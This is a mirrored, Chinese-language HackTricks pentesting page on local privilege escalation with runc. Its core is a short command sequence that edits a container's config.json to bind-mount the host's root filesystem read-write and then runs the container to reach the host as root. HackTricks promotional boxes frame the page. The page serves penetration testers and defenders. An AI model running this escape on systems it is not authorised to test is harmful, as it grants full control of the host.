mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 17:41:04 +00:00
71 lines
4.3 KiB
Markdown
71 lines
4.3 KiB
Markdown
# RunC特权升级
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## 基本信息
|
||
|
||
如果你想了解更多关于**runc**的信息，请查看以下页面：
|
||
|
||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||
{% endcontent-ref %}
|
||
|
||
## PE
|
||
|
||
如果你发现主机上安装了`runc`，你可能能够**运行一个容器并挂载主机的根目录/文件夹**。
|
||
```bash
|
||
runc -help #Get help and see if runc is intalled
|
||
runc spec #This will create the config.json file in your current folder
|
||
|
||
Inside the "mounts" section of the create config.json add the following lines:
|
||
{
|
||
"type": "bind",
|
||
"source": "/",
|
||
"destination": "/",
|
||
"options": [
|
||
"rbind",
|
||
"rw",
|
||
"rprivate"
|
||
]
|
||
},
|
||
|
||
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||
mkdir rootfs
|
||
|
||
# Finally, start the container
|
||
# The root folder is the one from the host
|
||
runc run demo
|
||
```
|
||
{% hint style="danger" %}
|
||
这种方法并不总是有效，因为runc的默认操作是以root身份运行，所以以非特权用户身份运行它是不可能的（除非你有一个无需root权限的配置）。将无需root权限的配置设置为默认配置通常不是一个好主意，因为在无需root权限的容器内有一些限制，在无需root权限的容器外是不适用的。
|
||
{% endhint %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||
|
||
- 你在一个**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|